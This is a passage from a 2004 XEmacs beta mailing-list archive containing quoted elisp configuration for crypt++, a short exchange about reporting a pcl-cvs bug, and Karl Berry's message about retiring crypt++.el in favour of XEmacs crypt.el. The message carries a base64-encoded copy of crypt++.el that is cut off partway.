"//usr/share/xemacs/xemacs-packages/lisp/dictionary/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/dired/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/docbookide/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ecb/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ecrypto/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/edebug/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ediff/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/edit-utils/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/edt/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/efs/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/eieio/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/elib/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/emerge/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/eshell/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ess/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/eterm/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/eudc/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/footnote/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/forms/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/fortran-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/frame-icon/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/fsf-compat/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/games/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/general-docs/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/gnats/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/gnus/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/haskell-mode/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/hm--html-menus/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/hyperbole/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ibuffer/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/idlwave/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/igrep/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ilisp/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ispell/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/jde/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/liece/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mail-lib/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mailcrypt/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mew/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mh-e/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mine/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/misc-games/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/mmm-mode/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/net-utils/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ocaml/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/oo-browser/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/os-utils/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/pc/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/pcl-cvs/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/pcomplete/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/perl-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/pgg/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/prog-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ps-print/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/psgml/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/psgml-dtds/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/python-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/reftex/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/riece/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/rmail/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/ruby-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sasl/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/scheme/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/semantic/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sgml/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sh-script/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sieve/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/slider/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sml-mode/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sounds-au/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/sounds-wav/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/speedbar/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/strokes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/supercite/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/texinfo/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/text-modes/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/textools/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/time/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/tm/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/tooltalk/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/tpu/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/tramp/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/vc/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/vc-cc/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/vhdl/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/view-process/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/viper/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/vm/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/w3/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/x-symbol/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/xemacs-base/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/xemacs-devel/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/xslide/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/xslt-process/" Karl> "//usr/share/xemacs/xemacs-packages/lisp/zenirc/" Karl> "//usr/share/xemacs-21.4.14/lisp/" "/usr/share/emacs/site-lisp") Karl> exec-path '("/usr/local/root/bin/" "/usr/local/cern/pro/bin/" Karl> "/usr/local/hhirf/" "/usr/local/rw_current/bin/" Karl> "/usr/java/j2sdk/bin/" "/usr/java/j2re/javaws/" Karl> "/usr/java/j2re/bin/" "/usr/local/mozilla/" "/usr/local/bin/" Karl> "/bin/" "/usr/bin/" "/usr/X11R6/bin/" "/usr/games/" Karl> "/home/nyberg/bin/" Karl> "//usr/share/xemacs/xemacs-packages/lib-src/" Karl> "//usr/lib/xemacs-21.4.14/i386-mandrake-linux/") Karl> crypt-encryption-type 'gpg Karl> crypt-encryption-file-extension "\\(\\.gpg\\)$" Karl> crypt-never-ever-decrypt nil Karl> crypt-auto-write-buffer-encrypted nil Karl> crypt-confirm-password t Karl> crypt-encrypted-disable-auto-save t Karl> crypt-auto-decode-buffer t Karl> crypt-auto-write-buffer nil Karl> crypt-query-if-interactive t Karl> crypt-no-extension-implies-plain t Karl> crypt-freeze-vs-fortran nil Karl> crypt-compact-vs-C++ nil Karl> crypt-ignored-filenames nil Karl> crypt-default-encoding "gzip" Karl> crypt-encoded-disable-auto-save t Karl> crypt-bind-insert-file nil Karl> crypt-auto-decode-insert nil Karl> crypt-encoding-alist '((compress "" nil "\\(\\.Z\\)$" "compress" Karl> "uncompress" nil nil "Compress" nil t nil) --=-=-= Content-Type: text/plain; charset=iso-2022-jp Karl> (gzip "$B".(B" nil "\\(\\.g?z\\)$" "gzip" "gzip" Karl> "--quiet" "--decompress --quiet" "Gzip" nil t nil) Karl> (bzip "BZ0" nil "\\(\\.bz\\)$" "bzip" "bzip" "" Karl> "--decompress" "Bzip" nil t nil) Karl> (bzip2 "BZh" nil "\\(\\.bz2\\)$" "bzip2" "bzip2" "" Karl> "--decompress" "Bzip2" nil t nil) --=-=-= Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: quoted-printable Karl> (freeze "=1F=BE\\|=1F --=-=-= Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: quoted-printable =BE" nil "\\(\\.F\\)$" "freeze" "freeze" Karl> "" "-d" "Freeze" nil nil nil) --=-=-= Content-Transfer-Encoding: 8bit Karl> (compact " --=-=-= Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: quoted-printable =FF=1F" nil "\\(\\.C\\)$" "compact" "uncompact" Karl> nil nil "Compact" "^Compression *:.*\n" nil nil) Karl> (dos "[^\n=0D]*=0D\n" nil "\\(\\.DOS\\)$" Karl> crypt-unix-to-dos-region crypt-dos-to-unix-region Karl> nil nil "Dos" nil nil nil) Karl> (mac "[ -~]*=0D[ -~]" nil "\\(\\.MAC\\)$" Karl> crypt-unix-to-mac-region crypt-mac-to-unix-region Karl> nil nil "Mac" nil nil nil) Karl> ) Karl> crypt-encryption-alist '((crypt Karl> "[ --=-=-= Content-Transfer-Encoding: 8bit Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "crypt" "crypt" nil nil "Crypt" nil t nil) Karl> (des "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "des" "des" ("-e" "-k") Karl> ("-d" "-k") "DES-CBC" nil t nil) Karl> (des-ecb Karl> "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "des" "des" ("-e" "-b" "-k") Karl> ("-d" "-b" "-k") "DES-ECB" nil t nil) Karl> (pgp "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "pgp" "pgp" Karl> ("+batchmode" "+verbose=0" "-c" "-f" "-z") Karl> ("+batchmode" "+verbose=0" "-f" "-z") "PGP" nil t Karl> nil) Karl> (pgp-pub Karl> "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" "\\(\\.gpg\\)$" "pgp" "pgp" nil nil "PGP-PUB" nil t nil) Karl> (gpg "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "gpg" "gpg" Karl> ("--batch" "--quiet" "-c" "-o" "-" Karl> "--passphrase-fd" "0") Karl> ("--batch" "--quiet" "-o" "-" "--passphrase-fd" Karl> "0") Karl> "GPG" nil t t) Karl> (mcrypt Karl> "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "mcrypt" "mcrypt" ("-k") Karl> ("-d" "-k") "Rijndael-128" nil t nil) Karl> (rc4 "[ Karl> "\\`\\|^\\(..\\)?\\([ ]\\|[ ]\\)\\|^From \\|^;ELC" Karl> "\\(\\.gpg\\)$" "openssl" "openssl" Karl> ("enc" "-rc4" "-e" "-k") ("enc" "-rc4" "-d" "-k") Karl> "RC4" nil t nil) Karl> ) Karl> ) -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ --=-=-=-- From xemacs-beta-admin@xemacs.org Fri Apr 2 17:43:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32Mh2s30638; Fri, 2 Apr 2004 17:43:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32Mg4n30492 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 17:42:04 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32Mg3f30482 for turnbull@tux.org; Fri, 2 Apr 2004 17:42:03 -0500 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32Mg1s30477; Fri, 2 Apr 2004 17:42:02 -0500 Received: from sfwd01.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1B9XMO-0003OZ-00; Sat, 03 Apr 2004 00:42:00 +0200 Received: from D5DC120J.t-online.de (bpdnSqZV8ecm6Hjujfeddr8U0acBt5DNikSuTagB-iISKkxk9tnJ8Z@[217.89.7.83]) by afwd01.sul.t-online.com with esmtp id 1B9XMB-0iqcYC0; Sat, 3 Apr 2004 00:41:47 +0200 To: Alex Schroeder Cc: XEmacs Beta Subject: Re: [Erc-help] [C] Re: [PATCH] erc: Use truncate-string-to-width instead of truncate-string alias X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <7jx5deft.fsf@smtpmail.t-online.de> <87r7v9najr.fsf@emacswiki.org> Organization: The XEmacs Project From: Adrian Aichner Date: Sat, 03 Apr 2004 00:42:51 +0200 In-Reply-To: <87r7v9najr.fsf@emacswiki.org> (Alex Schroeder's message of "Wed, 31 Mar 2004 02:07:52 +0200") Message-ID: <8yhej91w.fsf@smtpmail.t-online.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bpdnSqZV8ecm6Hjujfeddr8U0acBt5DNikSuTagB-iISKkxk9tnJ8Z X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Alex" == Alex Schroeder writes: Alex> Adrian Aichner writes: >> I got following Backtrace during commit: >> >> http://www.emacswiki.org/cgi-bin/wiki.pl/BacktraceDuringErcCommit Alex> Maybe report it as a pcl-cvs bug? Hi Alex, doing so does not appear as trivial as it seems. Where would I send that report? cd c:\Hacking\subversions.gnu.org\emacs\lisp\ grep -Pni "(report|submit|bug)" pcv*.el NUL: ... does not enlighten me. Norbert, where upstream would you send a pcl-cvs defect? Best regards, Adrian Alex> Alex. Alex> -- Alex> .O. http://www.emacswiki.org/alex/ Alex> ..O Schroeder's fourth law: Alex> OOO None of your friends and coworkers share your taste in music. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Fri Apr 2 18:43:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32Nh5s11387; Fri, 2 Apr 2004 18:43:05 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32NgPb11275 for xemacs-beta-mailman@xemacs.org; Fri, 2 Apr 2004 18:42:25 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i32NgLv11248 for turnbull@tux.org; Fri, 2 Apr 2004 18:42:21 -0500 Received: from f7.net (consort.superb.net [209.61.216.22]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i32NgIs11238; Fri, 2 Apr 2004 18:42:19 -0500 Received: (from karl@localhost) by f7.net (8.11.7-20030920/8.11.7) id i32NgFL31469; Fri, 2 Apr 2004 18:42:15 -0500 Date: Fri, 2 Apr 2004 18:42:15 -0500 Message-Id: <200404022342.i32NgFL31469@f7.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="wymbvANwpX" Content-Transfer-Encoding: 7bit From: karl@freefriends.org (Karl Berry) To: adrian@xemacs.org Cc: johan.nyberg@tsl.uu.se, xemacs-beta@xemacs.org Subject: Re: [johan.nyberg@tsl.uu.se: crypt++ message: gpg: packet with S2K 3 too short] In-Reply-To: X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --wymbvANwpX Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit Hmmh, does GNU Emacs not use crypt++ at all? Correct. It has jka-compr to do compression stuff (in an inferior manner IMHO, using filenames instead of magic numbers, but it doesn't really matter these days), and has built-in support for line-ending detection. I don't know what it does for encryption, if anything, but it definitely does not use crypt++, and I really, really want to give it up. Hi Johan, XEmacs' crypt.el also provides the crypt++ feature ... It seems crypt.el began as Dodd's original crypt++.el and has been only slightly modified since. It is certainly essentially the same as crypt++.el. So fine. If you are maintaining crypt.el, seems like there is no longer any need for crypt++.el. You might want to merge in some of the changes I've made over the past few years (contributed from users, I haven't done anything much myself), then again you might not. I will attach my current crypt++.el for your hacking pleasure. I see no reason to include crypt++.el in XEmacs at all, since you use crypt.el. It's just redundant. Any features in crypt++ not in crypt should just be merged. BTW, as far as I can tell, it already is included in os-utils, at least it came that way with my rh9: XEmacs 21.4 (patch 12) "Portable Code" [Lucid] (i386-redhat-linux, Mule) of Thu Feb 20 2003 ... I think I will tell anyone who asks from now on to use XEmacs crypt.el. Thanks, karl --wymbvANwpX Content-Type: application/octet-stream Content-Disposition: attachment; filename="crypt++.el" Content-Transfer-Encoding: base64 Ozs7IGNyeXB0KysuZWwgLS0gaGFuZGxlIGFsbCBzb3J0cyBvZiBjb21wcmVzc2VkIGFuZCBlbmNy eXB0ZWQgZmlsZXMKOzs7IChtYXkgYWxzbyBiZSBpbnN0YWxsZWQgYXMgY3J5cHQuZWwpCgo7OyBB dXRob3JzOiBMYXdyZW5jZSBSLiBEb2RkIDxkb2RkQHJvZWJsaW5nLnBvbHkuZWR1Pgo7OwlSb2Qg V2hpdGJ5IDxyd2hpdGJ5QHJlc2VhcmNoLmNhbm9uLm96LmF1Pgo7OwlLeWxlIEUuIEpvbmVzIDxr eWxlQHV1bmV0LnV1Lm5ldD4KOzsgTWFpbnRhaW5lcjogPGthcmxAZ251Lm9yZz4KOzsgQ3JlYXRl ZDogY3J5cHQuZWwgaW4gMTk4OCwgY3J5cHQrKy5lbCBvbiAxOCBKYW4gMTk5My4KOzsgVmVyc2lv bjogMi45Mgo7OyBLZXl3b3JkczogZXh0ZW5zaW9ucwo7OyAkSWQ6IGNyeXB0KysuZWwsdiAxLjMz IDIwMDMvMTAvMjMgMTE6NTM6MTkga2FybCBFeHAgJAoKOzs7IENvcHlyaWdodCAoQykgMTk5OCwg MTk5OSwgMjAwMCwgMjAwMSwgMjAwMyBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KOzs7 IENvcHlyaWdodCAoQykgMTk5NCBMYXdyZW5jZSBSLiBEb2RkCjs7OyBDb3B5cmlnaHQgKEMpIDE5 OTMgTGF3cmVuY2UgUi4gRG9kZCBhbmQgUm9kIFdoaXRieQo7OzsgQ29weXJpZ2h0IChDKSAxOTg4 LCAxOTg5LCAxOTkwIEt5bGUgRS4gSm9uZXMKOzs7Cjs7OyBUaGlzIHByb2dyYW0gaXMgZnJlZSBz b2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yIG1vZGlmeQo7OzsgaXQgdW5k ZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBhcyBwdWJsaXNo ZWQgYnkKOzs7IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIg b2YgdGhlIExpY2Vuc2UsIG9yCjs7OyAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9u Lgo7OzsKOzs7IFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0 IHdpbGwgYmUgdXNlZnVsLAo7OzsgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2 ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKOzs7IE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNT IEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUKOzs7IEdOVSBHZW5lcmFsIFB1Ymxp YyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCjs7Owo7OzsgWW91IHNob3VsZCBoYXZlIHJlY2Vp dmVkIGEgY29weSBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UKOzs7IGFsb25nIHdp dGggdGhpcyBwcm9ncmFtOyBpZiBub3QsIHdyaXRlIHRvIHRoZSBGcmVlIFNvZnR3YXJlCjs7OyBG b3VuZGF0aW9uLCBJbmMuLCA1OSBUZW1wbGUgUGxhY2UgLSBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEg MDIxMTEtMTMwNywgVVNBLgoKOzs7IENvbW1lbnRhcnk6Cgo7OzsgUGxlYXNlIHNlZSBub3RlcyBv biBJTlNUQUxMQVRJT04gYW5kIFVTQUdFIG9uIHRoZSBwYWdlcyBiZWxvdy4KCjs7OyBMQ0QgQXJj aGl2ZSBFbnRyeToKOzs7IGNyeXB0Kyt8Um9kIFdoaXRieSBhbmQgTGF3cmVuY2UgUi4gRG9kZHxr YXJsQGdudS5vcmd8Cjs7OyBIYW5kbGUgY29tcHJlc3NlZCBhbmQgZW5jcnlwdGVkIGZpbGVzLnwK Ozs7IDIwMDMtMDEtMTd8Mi45Mnx+L21pc2MvY3J5cHQrKy5lbC5afAoKOzs7IEFWQUlMQUJMRToK Ozs7IGh0dHA6Ly93d3cuY3MudW1iLmVkdS9+a2FybC9jcnlwdCsrLwo7OzsgbmV3czpnbnUuZW1h Y3Muc291cmNlcwoKOzs7IEJVRyBSRVBPUlRTOgo7OzsgVHlwZSBNLXggY3J5cHQtc3VibWl0LXJl cG9ydCB0byBnZW5lcmF0ZSBhIGJ1ZyByZXBvcnQgdGVtcGxhdGUgb3IgcHV0IHlvdXIKOzs7IGN1 cnNvciBhdCB0aGUgZW5kIG9mIHRoaXMgbGluZSBhbmQgdHlwZSBDLXggQy1lOiAoY3J5cHQtc3Vi bWl0LXJlcG9ydCkKOzs7Cjs7OyBQbGVhc2Ugbm90ZSB0aGF0IHRoaXMgYnVnLXJlcG9ydCBmYWNp bGl0eSAoY3J5cHQtc3VibWl0LXJlcG9ydCkgdXNlcwo7OzsgQmFycnkgV2Fyc2F3J3MgcmVwb3J0 ZXIuZWwgd2hpY2ggaXMgcGFydCBvZiBHTlUgRW1hY3MgdjE5IGFuZAo7OzsgYnVuZGxlZCB3aXRo IG1hbnkgb3RoZXIgcGFja2FnZXMuICBJZiBuZWVkZWQsIHlvdSBjYW4gb2J0YWluIGEgY29weQo7 Ozsgb2YgcmVwb3J0ZXIuZWwgYXQgdGhlIGVsaXNwLWFyY2hpdmUuICBJbiBmYWN0LCBjcnlwdC1z dWJtaXQtcmVwb3J0Cjs7OyB3aWxsIGF0dGVtcHQgdG8gYW5nZS1mdHAgYSBjb3B5IGZvciB5b3Ug aWYgeW91IGRvIG5vdAo7OzsgaGF2ZSBvbmUgYWNjZXNzaWJsZS4KOzs7Cjs7OyBNYWluIGF1dGhv cjoKOzs7IExhd3JlbmNlIFIuIERvZGQKOzs7IFBvbHl0ZWNobmljIFVuaXZlcnNpdHkKOzs7IEJy b29rbHluLCBOZXcgWW9yayBVU0EKCgwKOzs7IElOU1RBTExBVElPTjoKOzs7Cjs7OyBUbyB1c2Ug dGhpcyBwYWNrYWdlLCBzaW1wbHkgcHV0IGl0IGluIGEgZmlsZSBjYWxsZWQgImNyeXB0KysuZWwi IGluIGEgTGlzcAo7OzsgZGlyZWN0b3J5IGtub3duIHRvIEVtYWNzIChzZWUgYGxvYWQtcGF0aCcp LCBieXRlLWNvbXBpbGUgaXQgKGlnbm9yZQo7Ozsgd2FybmluZ3MgYWJvdXQgdW5kZWZpbmVkIGZ1 bmN0aW9ucyksIGFuZCBwdXQgdGhlIGxpbmU6Cjs7Owo7OzsgICAgKHJlcXVpcmUgJ2NyeXB0Kysp Cjs7Owo7OzsgaW4geW91ciB+Ly5lbWFjcyBmaWxlIG9yIGluIHRoZSBmaWxlIGRlZmF1bHQuZWwg aW4gdGhlIC4uL2xpc3AgZGlyZWN0b3J5Cjs7OyBvZiB0aGUgRW1hY3MgZGlzdHJpYnV0aW9uLgo7 OzsgCjs7OyBGb3IgcmVsaWFibGUgb3BlcmF0aW9uIHdpdGggRW1hY3MgdmVyc2lvbnMgd2l0aCBj b2Rpbmcgc3lzdGVtCjs7OyBzdXBwb3J0LCB5b3UgYWxzbyBuZWVkOgo7OzsgCjs7OyAgICAobW9k aWZ5LWNvZGluZy1zeXN0ZW0tYWxpc3QgJ2ZpbGUgIlxcLmJ6XFwnIiAnbm8tY29udmVyc2lvbikK Ozs7ICAgIChtb2RpZnktY29kaW5nLXN5c3RlbS1hbGlzdCAnZmlsZSAiXFwuYnoyXFwnIiAnbm8t Y29udmVyc2lvbikKOzs7ICAgIChtb2RpZnktY29kaW5nLXN5c3RlbS1hbGlzdCAnZmlsZSAiXFwu Z3BnXFwnIiAnbm8tY29udmVyc2lvbikKOzs7ICAgIChtb2RpZnktY29kaW5nLXN5c3RlbS1hbGlz dCAnZmlsZSAiXFwuZ3pcXCciICduby1jb252ZXJzaW9uKQo7OzsgICAgKG1vZGlmeS1jb2Rpbmct c3lzdGVtLWFsaXN0ICdmaWxlICJcXC5aXFwnIiAnbm8tY29udmVyc2lvbikKOzs7IAo7OzsgV2l0 aCBYRW1hY3MsIHlvdSBuZWVkICduby1jb252ZXJzaW9uLXVuaXggaW5zdGVhZCBvZiAnbm8tY29u dmVyc2lvbi4KOzs7IChUaGFua3MgdG8gSm9zZSBNLiBWaWRhbCA8dmlkYWxAc2MuZWR1Pi4pCjs7 OyAKOzs7IE90aGVyd2lzZSwgRW1hY3MgdGFtcGVycyB3aXRoIHRoZSBieXRlcyBiZWZvcmUgY3J5 cHQrKyBnZXRzIHRoZW0uCjs7OyBUaGUgYWJvdmUgd29uJ3QgaGVscCBmb3IgZmlsZXMgd2l0aG91 dCB0aG9zZSBleHRlbnNpb25zLiAgWW91IGp1c3QKOzs7IGhhdmUgdG8gc3BlY2lmeSB0aGUgbm8t Y29udmVyc2lvbiBjb2Rpbmcgc3lzdGVtIG1hbnVhbGx5IHdoZW4KOzs7IHZpc2l0aW5nIHRob3Nl IGZpbGVzLCBvciBzZXQgbm8tY29udmVyc2lvbiBmb3IgYWxsIGZpbGVzIGlmIHRoYXQgc3VpdHMg eW91Lgo7OzsgCjs7OyBEbyBub3QgYm90aGVyIHRyeWluZyB0byBhdXRvbG9hZCB0aGlzIHBhY2th Z2U7IGl0IHVzZXMgZmluZC1maWxlIGFuZAo7Ozsgd3JpdGUtZmlsZSBob29rcyBhbmQgdGh1cyBz aG91bGQgYmUgbG9hZGVkIHRoZSBmaXJzdCB0aW1lIHlvdSB2aXNpdAo7OzsgYW55IHNvcnQgb2Yg ZmlsZS4gIEFueSBwYWNrYWdlIGxvYWRlZCBhZnRlciB0aGlzIG9uZSB0aGF0IGFwcGVuZHMKOzs7 IHNvbWV0aGluZyB0byBgd3JpdGUtZmlsZS1ob29rcycgd2lsbCBub3QgYmUgZXhlY3V0ZWQgYmVj YXVzZSB0aGlzCjs7OyBwYWNrYWdlIHdyaXRlcyBvdXQgdGhlIGZpbGUuICBPdGhlciBwYWNrYWdl cyB0aGF0IGFwcGVuZCB0bwo7OzsgYHdyaXRlLWZpbGUtaG9va3MnIHNob3VsZCBlaXRoZXIgYmUg bW9kaWZpZWQgdG8gcHJlcGVuZCB0byB0aGF0IGhvb2sKOzs7IG9yIGJlIGxvYWRlZCBiZWZvcmUg dGhpcyBvbmUgKHByZWZlcmFibHkgdGhlIGZvcm1lcikuCjs7Owo7OzsgQW4gYWx0ZXJuYXRpdmUg aXMgdG8gc3RpY2sgKHJlcXVpcmUgJ2NyeXB0KSBpbiB5b3VyIH4vLmVtYWNzLCBpZiBpdCBpcyBu b3QKOzs7IGFscmVhZHkgdGhlcmUsIGFuZCB0aGVuIG1ha2UgYSBzeW1ib2xpYyBsaW5rIGZyb20g Y3J5cHQrKy5lbCB0byBjcnlwdC5lbAo7Ozsgd2l0aCAibG4gLXMgY3J5cHQrKy5lbCBjcnlwdC5l bCIuICBUaGlzIHdpbGwgbWFrZSBjcnlwdCsrIGFjdCBsaWtlIGEKOzs7IGRyb3AtaW4gcmVwbGFj ZW1lbnQgZm9yIHRoZSBvcmlnaW5hbCBjcnlwdCBzaW5jZSBhbnkgcGFja2FnZSByZXF1aXJpbmcK Ozs7IGNyeXB0IHdpbGwgZmluZCBjcnlwdCsrIGluc3RlYWQuCgo7OzsgTk9URTogZW5jcnlwdGlv 